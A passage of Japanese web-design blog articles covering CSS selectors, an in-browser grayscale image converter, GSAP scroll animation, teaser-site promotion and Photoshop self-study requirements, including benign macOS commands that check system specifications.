セレクタ説明例子孫セレクタ親要素内のすべての子孫要素を選択div p { color: green; }子セレクタ（>）直下の子要素のみを選択div > p { font-size: 14px; }隣接兄弟セレクタ隣接する兄弟要素を選択h2 + p { margin-top: 0; }一般兄弟セレクタ同じ親要素内の兄弟要素を選択h2 ~ p { color: gray; } 3. 属性セレクタ セレクタ説明例属性が一致する要素特定の属性を持つ要素を選択input[type="text"] { ... }部分一致（*=）属性値が部分的に一致する要素を選択a[href*="example"] { ... }前方一致（^=）属性値が前方一致する要素を選択img[src^="images/"] { ... }後方一致（$=）属性値が後方一致する要素を選択img[src$=".png"] { ... }属性値の存在（~=）属性値が単語として含まれる要素を選択[class~="button"] { ... } 4. 疑似クラス セレクタ説明例:hoverホバー状態の要素を選択a:hover { color: red; }:activeクリック中の要素を選択button:active { background: gray; }:focusフォーカスされた要素を選択input:focus { outline: blue; }:first-child親要素の最初の子要素を選択li:first-child { font-weight: bold; }:last-child親要素の最後の子要素を選択li:last-child { color: red; }:nth-child()特定の順番の子要素を選択li:nth-child(2) { color: green; }:nth-of-type()特定のタイプの順番要素を選択p:nth-of-type(1) { font-size: 20px; }:not()特定の要素以外を選択p:not(.highlight) { color: gray; }:empty空の要素を選択div:empty { border: 1px dashed red; }:has()親要素が特定の子要素を持つか判定.card:has(p):is()複数のセレクター指定（OR 条件）:is(h1, h2, h3):where()優先度ゼロのセレクター:where(h1, h2) 5. 疑似要素 セレクタ説明例::before要素の前にコンテンツを挿入p::before { content: "●"; color: red; }::after要素の後にコンテンツを挿入p::after { content: "★"; }::first-line最初の行にスタイルを適用p::first-line { font-weight: bold; }::first-letter最初の文字にスタイルを適用p::first-letter { font-size: 2em; } 6. 高度なセレクタ セレクタ説明例複数セレクタ複数の要素をまとめて選択h1, h2, h3 { color: navy; }結合セレクタ条件に合致する要素の絞り込みdiv.highlight p { font-size: 14px; }詳細度の調整!importantでスタイルの優先順位を変更p { color: red !important; } :is() — 複数セレクタの一括指定 :is()は、複数のセレクタを1つにまとめて記述できる疑似クラスです。同じスタイルを複数の要素に適用するときに、コードを劇的に短くできます。詳細度は引数内で最も高いセレクタが採用される点に注意が必要です。 ### [グレースケール変換ツール｜画像を送らずブラウザだけで白黒化](https://codequest.work/grayscale-converter-online/) グレースケール変換とは、画像から色みを取り除き、白から黒までの濃淡だけで表す処理です。CodeQuest.workの「グレースケール変換ツール」は、この処理をブラウザの中だけで実行し、画像をどこにも送信せずに白黒の画像を作ります。会員登録もインストールも必要ありません。 この記事は「ボタンの位置を説明する使い方ガイド」ではありません。変換して保存したあとに、その画像が自分の用途に足りているかを、読者が自分の手元で判定できるところまでを扱います。判定するのは次の2点です。ひとつは「保存されたファイルが、使う場所の条件を満たしているか」。もうひとつは「本当に画像が外に出ていないか」です。 掲載しているツールの挙動と数値は、すべて2026年8月2日にツール本体を実際に操作して計測した結果です。計測環境はChrome（HeadlessChrome 151／macOS）で、自動操作によって画像の読み込み・保存・通信の記録まで通しで確認しています。仕様の根拠となる一次資料も、同じ日に取得したものを本文中に示します。 グレースケール変換とは、画像から色みを取り除く処理のこと カラー写真をそのまま白黒にしたものが、グレースケールの画像です。写真をモノクロの素材に作り替えたいとき、資料に載せる図版の色を落としたいとき、印刷でカラーが使えないときなどに使います。 この作業自体は画像編集ソフトでもできますが、ソフトを立ち上げるほどでもない一枚を白黒にしたいときに、ブラウザで開いてその場で終わらせられるのがオンラインツールの利点です。ツール本体はWeb制作の無料ツール16選にまとめている無料ツール群のひとつで、いずれも登録なしで使えます。 このツールの仕様（実際に操作して確認した内容） 先に、できることとできないことを一覧にします。あとの章で扱う判定は、すべてこの表が土台になります。 項目仕様補足読み込める形式JPG・PNG・GIF・WebPGIFは1コマ目だけ保存される形式PNGのみ選べない保存時のファイル名固定変えられない強さの調整スライダー1本0〜100・初期値100画素数元のまま撮影情報は残らない画像の送信なしブラウザ内で完結料金・登録どちらも不要回数制限なし この表で最初に押さえてほしいのは「保存される形式はPNGだけで、選べない」という一行です。ここが後の判定すべてに効いてきます。ページ上のスライダーは1本だけで、種類を選ぶ選択肢は用意されていません（実測でスライダー1個・選択肢0個）。 「グレースケール」はファイル形式の名前ではない 用語として押さえておくと混乱が減ります。グレースケールは色の表し方の呼び名であって、JPEGやPNGのようなファイル形式の名前ではありません。「グレースケールで保存する」と言ったときの保存形式は、別途PNGなのかJPEGなのかが決まります。 このツールで保存されるファイルはPNG形式で、しかも透過の情報を持ったままの状態です。「グレースケール専用の軽いデータ形式」に変換されるわけではありません。見た目は白黒でも、データとしてはカラー画像と同じ持ち方をしています。この点は次の判定の章で、実際のファイルサイズとして表に出てきます。 ブラウザだけで画像をグレーにする3ステップ 操作は3手で終わります。実際に画像を投入して最後の保存まで通したうえで書いています。 ステップ1｜画像を読み込む ツールのページを開き、画像をドラッグ＆ドロップするか、ファイル選択から画像を指定します。読み込みが終わると、その場で白黒になった画像が表示されます。「変換」ボタンを押す必要はありません。読み込み直後に、いちばん強い状態（100）で変換された画像が出ます。 スマートフォンやタブレットではドラッグ＆ドロップの操作ができないため、ファイル選択から読み込みます。写真アプリから直接選べます。 ステップ2｜スライダーで白黒の強さを決める 画像の下にあるスライダーで、白黒にする強さを0〜100の間で決められます。実測した挙動は次のとおりです。 0：読み込んだままの元画像が表示されます。白黒になりません。 100（初期値）：完全な白黒になります。読み込んだ直後はこの状態です。 途中の値：元画像と完全な白黒を混ぜた、色が薄く残った状態になります。 つまりこのスライダーは「どのくらい色を残すか」を決めるつまみです。完全な白黒が欲しいならスライダーには触らなくて構いません。薄く色を残したモノクロ調の素材を作りたいときにだけ動かします。50前後にすると、元の色がうっすら残った落ち着いた見え方になります。 ステップ3｜ダウンロードする ダウンロードボタンを押すと、表示されている状態のままPNGファイルとして保存されます。保存されるファイル名は毎回同じ固定の名前です。連続で保存すると、ブラウザの働きで末尾に連番が付いた別ファイルになります。同じフォルダに何枚も保存すると、どれがどの画像か分からなくなるので、保存のたびに名前を付け替えるのが安全です。 ここまでが操作のすべてです。そして、この3手のあいだ画像は一度も外部に送られていません。読み込みも変換も保存も、開いているブラウザの中だけで完結しています。実際に通信の記録を取ったところ、画像を読み込んだ直後も、保存した直後も、新しい通信は1件も発生しませんでした（2026年8月2日実測）。この点は後半の判定の章で、読者が自分で確かめられる手順として扱います。 グレースケール変換ツールを開く 判定1｜保存した画像が用途に足りているかを確かめる 白黒になった画像が画面に出た時点で満足して終わってしまうと、あとで貼り付ける段階になって困ることがあります。保存されたファイルは、画面で見えていたものと同じではありません。形式が変わっていますし、写真ではサイズが大きく変わります。使う前に、保存先のフォルダで3つだけ確認してください。 手順｜保存先で3つの項目を見る ツールで画像を変換し、ダウンロードする。 保存先のフォルダを開き、そのファイルの情報を表示する（Windowsは右クリックからプロパティ、macOSは右クリックから情報を見る）。 拡張子・ファイルサイズ・画像の縦横の3つを、次の表と照らし合わせる。 合否ライン｜この3つが揃っていれば、そのまま使ってよい 見る項目足りている状態外れたときの一手拡張子PNGになっている別形式が要るなら変換するファイルサイズ載せる場所の上限内圧縮してから使う画像の縦横元の画像と同じ入れ替わりなら向きを直す 3つとも当てはまっていれば、その画像はそのまま使って問題ありません。外れた場合の対処は、それぞれ次のとおりです。 JPEGやWebPで欲しかった場合：このツールでは形式を選べません。保存したPNGを、形式変換のできる別のツールに通します。 ファイルサイズが大きすぎる場合：写真ではこれが起きるのが普通です。理由と対処は次の項で扱います。 縦横が入れ替わっていた場合：スマートフォンで撮った写真に多い現象です。撮影時の向きの情報が画像そのものに焼き込まれるために起こります。 実測｜写真を変換するとファイルは大きくなる 「色を減らすのだからファイルは軽くなるはず」と考えたくなりますが、このツールでは逆になります。1600×1200ピクセルの写真（JPEG）を投入し、保存されたファイルのバイト数を実際に測った結果です。 見るもの変換前変換後ファイル形式JPEGPNGファイルサイズ約241KB約1.51MB画素数1600 × 1200変わらない 正確な数値は246,959バイトから1,582,446バイトで、約6.4倍になりました（2026年8月2日実測）。画素数は変わっていないのにファイルだけが膨らんでいます。 理由は保存形式にあります。ブラウザ上の描画領域を画像ファイルとして書き出す機能は、形式を指定しなければPNGになると仕様で決まっています。そしてPNGは元のデータを一切捨てない可逆圧縮の形式です。写真のように細かい濃淡が連続する画像では、データを間引いて小さくするJPEGのほうが小さく収まります。白黒にしたことより、JPEGからPNGに変わったことのほうが効いている、というのが実態です。 出典：WHATWG HTML Standard（canvas要素）（2026年8月2日取得。書き出し関数の第1引数の既定値が image/png と定義されている）。W3C PNG仕様 第3版（W3C勧告 2025年6月24日／2026年8月2日取得。冒頭でPNGを可逆・高圧縮の形式と定義）。 したがって「Webページに載せる画像を軽くしたい」という目的でこのツールを使うと、目的と逆の結果になります。白黒にしたうえで軽くしたいなら、変換したあとにもう一段、圧縮の工程を挟んでください。ブラウザだけで圧縮とWebP変換までできる画像圧縮・WebP変換ツールに通せば、この記事の作業から1手で済みます。掲載先の容量制限に引っかかっている場合は、この一手までで解決するはずです。 判定2｜画像が外に出ていないことを自分で確かめる オンラインの画像ツールには、ブラウザの中だけで処理するものと、画像をいったんサーバーへ送って処理するものの2種類があります。見た目の操作は同じなので、画面を見ているだけでは区別がつきません。社外に出せない資料の画像や、人が写っている写真を扱うなら、ここは確認しておくべき点です。 そして、この確認は専門知識なしで、数十秒でできます。通信を切った状態で最後まで動くかどうかを見るだけです。 手順｜通信を切ってから変換してみる ツールのページを開き、表示が終わるまで待つ。 そのまま通信を切る（スマートフォンなら機内モード、パソコンならWi-Fiを切るか、ブラウザの検証ツールのネットワーク欄でオフラインに切り替える）。 通信を切ったまま、画像を読み込む。 スライダーを動かし、ダウンロードまで実行する。 合否ライン｜オフラインのまま保存できれば、外には出ていない 結果判定意味保存まで通る合格処理はブラウザ内で完結途中で止まる不合格処理に通信が必要保存できない不合格結果を外から受け取っている 理屈は単純です。画像をサーバーへ送って処理するツールは、通信が切れていれば結果を受け取れません。逆に、通信を切ったまま変換から保存まで通るなら、その処理は開いているブラウザの中だけで行われたことになります。ページを開き直すと当然読み込めなくなるので、ページを開いたあとに通信を切るという順番だけ守ってください。 より確実に見たい場合は、ここから一段だけ踏み込みます。ブラウザの検証ツールを開いてネットワークの記録欄を表示し、記録をいったん消してから画像を読み込みます。画像を読み込んだ操作で新しい行が増えなければ、その画像は送信されていません。広告や利用状況の計測による通信は画像とは無関係に発生するので、増えた行があっても、それが画像の読み込み操作に連動しているかどうかで見分けます。確認はここで打ち止めにして構いません。 実測｜このツールは通信を切っても最後まで動いた 同じ手順を、自動操作のブラウザで実行した結果です（2026年8月2日／Chrome HeadlessChrome 151・macOS）。 画像を読み込んだ直後に発生した新しい通信：0件 ダウンロードした直後に発生した新しい通信：0件 通信を切った状態で読み込み・変換・保存を実行：すべて成功し、その間の通信も0件 実務上の意味は小さくありません。社外に出せない資料の画像、契約前の提案書のスクリーンショット、人が写っている写真でも、外部サービスにアップロードすることなく白黒にできます。オンラインツールを使うたびに情報の取り扱いを気にしていた作業が、この確認をひとつ通しておくだけで判断できるようになります。 この判定方法は、このツール専用のものではありません。ほかのオンライン画像ツールにもそのまま使えます。 ### [GSAPでラインがスライドインするスクロールアニメーション](https://codequest.work/gsap-caution-slide-animation/) GSAPでスクロールアニメーションを作成する方法 Webサイトを制作する際、要素を滑らかにスライドさせるアニメーションは、視覚的なインパクトを与えるのに非常に有効です。特に、ユーザーのスクロールに応じて順番にスライドするアニメーションは、ページのダイナミクスを向上させ、より洗練された印象を与えることができます。 そこで本記事では、GSAP（GreenSock Animation Platform）を使用して 「caution」要素を順番にスライドさせるアニメーション を実装する方法を解説します！ また、CodePenで実際に動作するデモを公開しているので、記事の最後にリンクを掲載します。ぜひ、実際の動きを確認しながら学習してみてください！ GSAP（GreenSock Animation Platform）は、JavaScriptを使って高度なアニメーションを簡単に作成できるライブラリです。特に、ScrollTrigger というプラグインを組み合わせることで、スクロール量に応じたアニメーションを実装することが可能になります。 GSAPは以下のようなアニメーションに適しています： ✅ 滑らかなスライドアニメーション✅ スクロールに応じた動的なエフェクト✅ 要素のフェードイン・フェードアウト✅ 複雑なタイムライン制御 このGSAPを活用して、今回のアニメーションを実装していきます！ See the Pen caution-slide by masakazuimai (@masakazuimai) on CodePen. 📝 caution要素をスライドさせるアニメーション 今回のアニメーションでは、複数の caution 要素がスクロールに応じて順番にスライドしていく動きを作成します。最初は画面中央にすべて配置し、スクロールすると左右にスライドして消えるようにします。 🎯 解説 ScrollTrigger を適用 し、スクロールに応じたアニメーションを実装。 timeline を使用 して、要素が 順番にスライドするように設定。 direction を設定し、偶数は 100vw（右）、奇数は -100vw（左）に移動。 pin: true で .caution-wrapper を固定 し、要素がスライドする様子を強調。 💡 まとめ 今回の記事では、GSAPを使って caution要素を順番にスライドさせるアニメーション を実装しました。スクロールと連動するアニメーションは、サイトのインタラクティブ性を高めるために非常に有効です。 また、GSAPの timeline を活用することで、複数の要素を スムーズに順番にアニメーション させることが可能になります。 CodePenでのデモを参考に、カスタマイズしてみてください！🚀 ✅ 今後のアニメーション記事もお楽しみに！ 🎉記事の内容についての質問や、他のGSAPアニメーションのリクエストがあればぜひコメントで教えてください！ よくある質問（FAQ） Q. GSAPのCaution Slideアニメーションとは？ スクロールに応じてラインや帯が画面を横切るようにスライドするアニメーション演出です。工事現場の注意テープのようなデザインモチーフを使い、セクション間のトランジションや注意喚起の演出に活用されます。GSAPのScrollTriggerでスクロール位置をトリガーに、x軸方向のtranslate移動をアニメーションさせて実装します。 Q. ScrollTriggerのscrubプロパティとは？ scrub: trueを設定すると、アニメーションの進行がスクロール位置に直接連動します。スクロールを止めるとアニメーションも止まり、スクロールを戻すとアニメーションも巻き戻ります。scrub: 1のように数値を指定すると、スクロール位置への追従に1秒の遅延が加わり、より滑らかな動きになります。 ### [ティザーサイトの作り方｜公開前に効果を高めるプロモーション戦略と実装法｜Web制作活用](https://codequest.work/teaser-site-guide/) 1. ティザーサイトとは？ ティザーサイト（ティーザーサイト・ディザーサイトとも表記）とは、新商品や新サービスの発表前に、ユーザーの興味を引くために公開される特設ページ（ティザーページ）のことです。「ティザー（Teaser）」とは「じらす」「引きつける」という意味を持ち、商品やサービスの詳細を明かさず、ティザー公開によって期待感を高めるために設計されます。 ティザーサイトは、以下のような目的で利用されることが多いです。 新商品・新サービスの発表前のプロモーション 映画・ドラマ・アニメの告知 ゲームやアプリのリリース前の事前登録受付 ブランドの認知向上・話題作り ティザーサイトは、企業や個人が話題性を作り出すための強力なツールとなります。 2. ティザーサイトの特徴 ティザーサイトには、通常のWebサイトとは異なる以下のような特徴があります。 2-1. 情報を限定的に公開する 商品やサービスの詳細情報をすべて公開するのではなく、ユーザーが「もっと知りたい」と思うように設計されます。例えば、ロゴやキャッチコピーだけを掲載し、公開日までのカウントダウンを設置することが一般的です。 2-2. ビジュアルとキャッチコピーが重要 ユーザーの目を引くために、視覚的に魅力的なデザインや印象的なキャッチコピーを使用します。シンプルでミステリアスなデザインが好まれる傾向にあります。 2-3. SNSとの連携 ティザーサイトの成功にはSNSの活用が欠かせません。TwitterやInstagramでシェアされることを狙い、ハッシュタグキャンペーンを行うことで、拡散力を高めることができます。 2-4. 事前登録・メルマガ登録の仕組み 新商品やサービスの公開後にユーザーをスムーズに誘導するため、事前登録フォームやメールマガジン登録を設置することが一般的です。 2-5. カウントダウン機能 発売日やイベント開催日までのカウントダウンを表示することで、ユーザーの期待感を高めます。 3. ティザーサイトの成功事例 3-1. Appleの新製品発表ティザーサイト Appleは、新製品発表前に公式サイトでシンプルなティザーを公開することが多いです。具体的な情報は明かさず、Appleのロゴと「Coming Soon」のメッセージだけを掲載することで、大きな話題を呼びます。 3-2. 映画『スター・ウォーズ』のティザーサイト 映画『スター・ウォーズ』の新作公開前には、短い動画とカウントダウンを組み合わせたティザーサイトが公開されました。ファンの期待感を煽るデザインで、公開前から話題を集めました。 3-3. 任天堂の新作ゲーム発表サイト 任天堂は、新作ゲームの発表前にティザーサイトを設置し、少しずつ情報を公開する手法を採用しています。ファンがSNSで情報を拡散し、発売前の話題作りに貢献しています。 4. ティザーサイトの作り方 ティザーサイトを作る際には、以下のポイントを意識しましょう。 4-1. 目的を明確にする ティザーサイトの目的は何かを明確にし、適切な戦略を立てることが重要です。 4-2. シンプルなデザインにする 情報を詰め込みすぎず、直感的に理解しやすいシンプルなデザインを採用しましょう。 4-3. SNS拡散を狙う シェアボタンの設置やハッシュタグキャンペーンを活用し、SNSでの拡散を促進します。 4-4. 事前登録フォームを設置する リリース後にスムーズに集客するため、メールアドレス登録やLINEの友だち登録フォームを設置するのも有効です。 4-5. カウントダウンを活用する リリースまでの期間を明示し、期待感を高めるためにカウントダウンタイマーを設置することをおすすめします。 5. ティザーサイトの実装方法 5-1. HTML・CSS・JavaScriptを活用 基本的なティザーサイトはHTML、CSS、JavaScriptを組み合わせることで作成できます。カウントダウンやアニメーションを加えることで、より魅力的なサイトになります。 5-2. WordPressを活用 WordPressを利用してティザーサイトを作成することも可能です。LP向けのテーマを活用すると、手軽に制作できます。 5-3. 動画やアニメーションを取り入れる インパクトを与えるために、YouTube動画の埋め込みや、GSAPなどを使ったアニメーションを取り入れるのも効果的です。 アニメーションはゼロから書く必要はありません。当サイトのGSAPアニメーション ギャラリーではScrollTriggerのスクロール連動を含む100種の動きをその場で再生して確認でき、CDNの読み込みを含む完全版コードをそのままコピーできます。ライブラリを使わず軽量に仕上げたい場合はCSSアニメーション サンプル集が便利です。 スクロールに合わせて要素が現れる演出の実装手順は「GSAPでラインがスライドインするスクロールアニメーション」で解説しています。情報を少しずつ見せていくティザーサイトの「じらし」と相性の良い動きです。まずはギャラリーで気に入った動きを選んで、アニメーションを活用したティザーページを1枚作ってみましょう。 実務Tips（ベストプラクティス集） 公開時期を明確にする ティザーサイトは「いつ公開されるのか」を明示することで、期待感を高められます。リリース日やカウントダウンを設置しましょう。 メール登録やSNS連携を活用する 「公開通知を受け取る」CTAを設置することで、ローンチ時に一気に集客が可能になります。 シンプルなデザインを心がける 情報が多すぎると逆効果になります。ロゴ、メインコピー、ビジュアル、公開予定日など、必要最小限の要素に絞り込みましょう。 ブランドの世界観を統一する 配色やタイポグラフィを本サイトと一貫させることで、ユーザーはスムーズにブランドを認識できます。 パフォーマンスを最適化する ティザーサイトは1ページ構成が多いため、画像圧縮や軽量なアニメーションを用いて高速表示を意識しましょう。 SNSシェアに対応する OGP（Open Graph Protocol）やTwitterカードを設定し、SNSシェア時に魅力的に表示されるように調整してください。 よくある質問 Q. ティザーサイトとは何ですか？ ティザーサイトとは、新商品・サービスの正式公開前に情報を小出しにして期待感を高めるプロモーション用Webサイトです。カウントダウンタイマー、メール登録フォーム、コンセプトビジュアルを配置し、ローンチ時の集客最大化を狙います。 Q. ティザーサイトとランディングページの違いは？ A. ティザーサイトは「リリース前の情報解禁」を目的とし、ランディングページは「商品の購入や問い合わせなど具体的な行動喚起」を目的としています。 Q. ティザーサイトには最低限どんな要素が必要ですか？ A. ブランド名（ロゴ）、キャッチコピー、リリース予定日、登録フォーム（またはSNSリンク）、問い合わせ先の5点が基本です。 Q. 公開前にSEO対策は必要ですか？ A. 長期運用を想定するなら必要です。ただし短期公開が前提なら、SEOよりSNSや広告での拡散に注力した方が効果的です。 Q. WordPressでも簡単に作れますか？ A. はい、専用テーマやランディングページ用プラグインを使えば短時間で制作できます。静的HTMLやSTUDIOなどのノーコードツールも有効です。 Q. どのタイミングで公開するのが良いですか？ A. 製品やサービスの発表1〜3か月前が目安です。早すぎると熱が冷め、遅すぎると認知が広がりません。 Q. ティザーサイトはスマホ対応も必要ですか？ A. 必須です。ユーザーの大半がモバイルからアクセスするため、レスポンシブ対応は前提条件になります。 ティザーサイト（ティーザーサイト）とは？公開前の期待感を高めるWebページ ティザーサイトとは、製品やサービスの正式リリース前に「何かが始まる」という期待感を演出するために公開されるWebページです。「ティーザーサイト」や「ディザーサイト」と表記されることもありますが、いずれも同じ意味を指します。英語では「teaser site」と呼ばれ、海外のプロモーション戦略でも広く活用されています。 ティザーサイトの本質は「情報の非対称性」にあります。ユーザーに対してあえて情報を制限し、「もっと知りたい」という欲求を引き出すことで、正式公開時の注目度を最大化します。通常のプロモーションサイトが「すべてを伝える」のに対し、ティザーページは「あえて隠す」ことで話題性を生むのが特徴です。 ティザーサイトの事例4選｜効果的なティザーページの特長 ティザーサイトの効果を最大限に発揮するためには、成功事例から共通するパターンを学ぶことが重要です。以下に、異なる業界でのティザーページ活用事例と、それぞれの特長を紹介します。 事例1. SaaS製品のベータ版募集ティザーページ SaaS企業がベータ版のリリース前にティザーサイトを公開し、事前登録を募るケースは非常に多いです。キャッチコピーと登録フォームだけのシンプルな構成で、「限定○名」のように希少性を打ち出すことで登録率を高めています。ティザーページとしての完成度が高い事例では、公開初日に数千件の登録を獲得するケースもあります。 事例2. ファッションブランドの新コレクション告知 ハイブランドが新コレクションの発表前にティザーサイトを公開するケースでは、全画面の動画背景と最小限のテキストで世界観を伝えるのが定番です。SNSと連動したハッシュタグキャンペーンを同時に展開し、ティザー公開の段階でバズを生み出す戦略が採用されています。 事例3. 地方自治体のイベント告知ティザーサイト 大規模イベントや観光キャンペーンの告知にティザーサイトを活用する自治体も増えています。カウントダウンタイマーと段階的な情報公開を組み合わせ、地域メディアやSNSでの話題作りに成功しています。プロモーションサイトとして本格稼働する前のティザー公開が、結果的にメディア露出を増やす効果をもたらしています。 事例4. アニメーション演出が主役のゲーム・エンタメ系ティザー ゲームやエンタメ業界のティザーサイトでは、ページを開いた瞬間のオープニングアニメーションや、スクロールに連動して情報が少しずつ現れる演出が定番です。GSAPのScrollTriggerを使った段階的な情報解禁は「じらし」の設計と相性が良く、カウントダウンの数字が動くだけでも期待感の演出になります。派手さを競うのではなく「動きで世界観を伝える」ことが目的のため、アニメーションの数を絞るほど1つ1つの演出が引き立ちます。 ティザー公開の手順と注意点 ティザー公開とは、製品やサービスの正式ローンチに先立ち、限定的な情報のみを公開してユーザーの関心を引きつけるプロモーション手法です。ティザー公開を成功させるには、以下の手順と注意点を押さえておきましょう。 手順1. 公開スケジュールを逆算して設計する 正式リリース日から逆算し、ティザー公開のタイミングを決定します。一般的にはリリースの1〜3か月前が適切です。情報を段階的に公開する場合は、第1弾（ロゴ・キャッチコピーのみ）、第2弾（機能の一部を公開）、第3弾（リリース日発表）のように3段階に分けるのが効果的です。 手順2. ティザーページの構成要素を決定する ティザーページに必要な要素は、ブランドロゴ、キャッチコピー、ビジュアル（画像または動画）、カウントダウンタイマー、事前登録フォームの5つです。要素を絞り込むほどミステリアスな印象が強まり、情報を追加するほど具体的な行動（登録・シェア）を促しやすくなります。 手順3. SNS・広告との連動を計画する ティザー公開と同時にSNS投稿やWeb広告を展開することで、初動のアクセス数を最大化できます。ハッシュタグを統一し、ティザーサイトへの導線を明確にしておきましょう。 ### [Photoshop学習方法｜独学の始め方と、できたかを自分で採点する手順](https://codequest.work/photoshop-learning-guide/) 「Photoshopの学習方法」を調べると、出てくるのはたいてい学ぶ順番の話です。ツールの使い方を覚えて、切り抜きを覚えて、合成を覚えて……という並び。ところが独学が止まる場所は、その順番の途中ではありません。インストールできなかった、体験版がいつの間にか終わっていた、作ってはみたけれど良いのか悪いのか分からない。止まるのはこの3つのどれかです。 Photoshopの学習方法とは、機能を順番に覚えていくことではなく、「自分のパソコンで動く環境」「無料体験の期限」「完成したと言える基準」の3つを先に確定してから手を動かすことです。この3つはどれも、他人の評価を待たずに自分の手元で合否を出せます。順番の話は、この3つが決まった後なら何でも構いません。 この記事では、動作環境の照合・7日間の無料体験の使い切り方・作った1枚の自己採点を、それぞれ「合否ライン」と「外れたときの分岐」つきで扱います。Adobeの技術要件と料金は、すべて2026年8月2日に公式ページから取得した値です。仕様は改定されるので、判断の前に必ず出典先の日付を確認してください。 自分のパソコンでPhotoshopが動くかを先に確定する 学習方法を選ぶより前に決着させるべきなのは、手持ちのパソコンでPhotoshopが起動するかどうかです。ここを飛ばして課金してから「インストールできない」に気づくと、返金の期限と格闘することになります。 数字はAdobeのAdobe Photoshop デスクトップ版の技術要件から引きます。以下はバージョン27.x以降の要件で、ページの最終更新日は2026年6月9日、こちらで内容を確認したのは2026年8月2日です。 Windowsの要件（Intel / AMD 搭載機） 項目最小おすすめOSWin 11 v24H2、v23H2、Win 10 v22H2、v21H2 LTSC同左RAM8 GB16 GB 以上グラフィックカードDirectX 12（機能レベル 12_0 以降）対応GPU、7年未満のもの4K以上のディスプレイなら GPUメモリ 4 GBビデオRAM1.5 GB2 GBハードディスク空き10 GB100 GBモニター解像度1280 x 800（100％スケーリング時）1920 x 1080 以上 CPU側にも条件があり、AVX2をサポートするIntelまたはAMDのCPU、SSE 4.2以上をサポートするプラットフォームが最小要件として挙がっています。GPUについては「7年未満の新しいGPU」という但し書きが付いており、同ページには「アドビでは、7年以上前のGPUはテストしていません」と書かれています。古いデスクトップ機を使い回す予定なら、ここが実質的な足切りになります。 ARM版Windowsは要件が別枠で、OSは「Windows 10 64 bit（バージョン 20H2）以降を実行しているWindows 10 ARMデバイス」、GPUメモリは4 GBとされています。それ以外の項目はIntel版と同じ、という記載です。 macOSの要件（ここが一番の落とし穴） 項目最小おすすめプロセッサーマルチコアのIntel、またはAppleシリコンARMベースのAppleシリコンOSmacOS v26、v15.x、v14.xmacOS Sequoia（バージョン15.6.1）RAM8 GB16 GB 以上グラフィックカードMetal対応のMacであること同左ビデオRAM1.5 GB2 GBハードディスク空き10 GB 以上100 GB 問題はOSの行です。おすすめ欄には推奨バージョンと並んで、次の一文が置かれています。 macOS v12.x.x（Monterey）以前にはインストールできません Adobe「Adobe Photoshop デスクトップ版の技術要件」バージョン27.x以降・macOSタブ 「動作が重い」ではなく「インストールできない」と書かれています。しかも最小要件として挙がっているのは v26 / v15.x / v14.x の3つだけで、v13（Ventura）は最小の一覧にも推奨にも載っていません。手元のMacがMontereyのままなら、契約しても現行バージョンのPhotoshopは入りません。Venturaの場合は一覧に記載がないため、対象外として扱うのが安全です。 Mac側にはもう1つ、見落としやすい条件があります。ハードディスクの欄に「大文字と小文字が区別されるファイルシステムを使用するボリュームにはインストール不可」と明記されており、表の下にも「Photoshopは、大文字と小文字を区別するファイルシステムを使用するボリュームにはインストールされません」と繰り返されています。開発用に外付けボリュームをCase-sensitiveでフォーマットしている人は、そこにインストールしないでください。 自分の値を出す（Windows） OSのバージョン：「設定」→「システム」→「バージョン情報」。エディションの下にある「バージョン」の欄が 24H2 / 23H2 / 22H2 のどれかを見る RAM：同じ「バージョン情報」画面の「実装RAM」 GPUとDirectX：Windowsキー + R で「dxdiag」と入力して実行し、DirectX診断ツールの「システム」タブでDirectXバージョン、「ディスプレイ」タブでGPU名とドライバーの日付を見る 空き容量：エクスプローラーの「PC」でCドライブの空き容量 この4手順はWindowsの標準機能だけで完結します。ただし当サイトの検証環境はmacOSのため、Windows側の画面表示は実機で確認していません。項目名がバージョンで多少異なる場合は、同じ画面内の近い名称の欄を読み替えてください。 自分の値を出す（Mac） 画面から見るなら、アップルメニュー →「このMacについて」で、macOSのバージョン・チップ・メモリが1画面に出ます。Metal対応かどうかは「システム情報」→「グラフィックス／ディスプレイ」の「Metalサポート」の行です。 ターミナルを使えるなら、4項目を一度に出せます。次の3行をターミナルに貼り付けて実行してください。 sw_vers -productVersion system_profiler SPHardwareDataType 2>/dev/null | grep -E "Chip|Memory" system_profiler SPDisplaysDataType 2>/dev/null | grep "Metal Support" df -h / | tail -1 この記事の執筆環境（2026年8月2日実行）では、1行目が「26.5.2」、2行目が「Chip: Apple M3」「Memory: 24 GB」、3行目が「Metal Support: Metal 4」、4行目の df は空き容量（Avail 列）を返しました。上から順に、OSバージョン・チップ・RAM・Metal対応・空き容量に対応します。df の行は左から順にファイルシステム、全体、使用中、空きなので、4番目の値を見てください。 合否ラインと、外れたときの分岐 合格の条件は、OS・RAM・GPU・空き容量の4項目すべてが最小要件以上であることです。1つでも下回っていたら、その1項目が原因で起動しない、あるいは機能が制限されると考えてください。とくにOSは「重くなる」ではなく「入らない」なので、他が満たされていても意味がありません。 外れた項目先にやることそれでも無理なときOSが古いOSをアップデートできるMac／PCか確認するブラウザで動くweb版か、他ソフトへRAMが8 GB未満増設できる機種かを調べる他ソフトへGPUが要件外ドライバーを最新にする（Windows）他ソフトへ空きが10 GB未満不要ファイルを消して確保する外付けではなく内蔵SSDを空ける デスクトップ版が入らない場合の分岐は2つです。1つはPhotoshopの製品ページに記載のとおり、Photoshopのプランにはデスクトップ版のほかweb版とモバイル版が含まれるので、ブラウザ側で試すこと。もう1つは、Affinityのように個人利用が無料のソフトに切り替えることです。分岐はここまでで止めます。ソフト同士の比較検討に入ると、また手が止まります。 7日間の無料体験を空振りさせない 環境の判定が通ったら、次に決めるのは期限です。Photoshopの無料体験は「とりあえず入れて触ってみる」には短く、何をやるか決めずに始めると初日にインストールと初期設定で終わり、気づいたら課金日、という流れになります。 7日ではなく21日が実際の判断期限 AdobeのPhotoshopを7日間無料で始めるのページ（2026年8月2日取得）には、無料体験の仕組みが日付の節目で図示されています。内容をそのまま表にすると次のとおりです。 節目Adobeの記載自分がやること1日目無料体験を開始するこの日に7日分の予定を書き出す8日目無料体験が終了し、料金の請求が開始される続けないなら7日目までに解約する21日目購入後14日以内に解約すると全額返金ここが返金つきで判断できる最終日 同ページには「無料体験期間終了後14日間の猶予があり、その間に解約いただければ、全額返金いたします」とも書かれています。つまり実質的な判断期限は7日ではなく21日です。ただし8日目から21日目までは一度課金された状態なので、返金の手続きが要ります。何もせずに済ませたいなら、期限は7日目のままだと考えておくのが安全です。 継続したときにいくら払うのか 体験を始める前に、続けた場合の金額も見ておきます。以下は2026年8月2日にAdobeの製品ページで確認した個人向けの表示です。 プラン月額（税込）備考Photoshop（単体）3,280 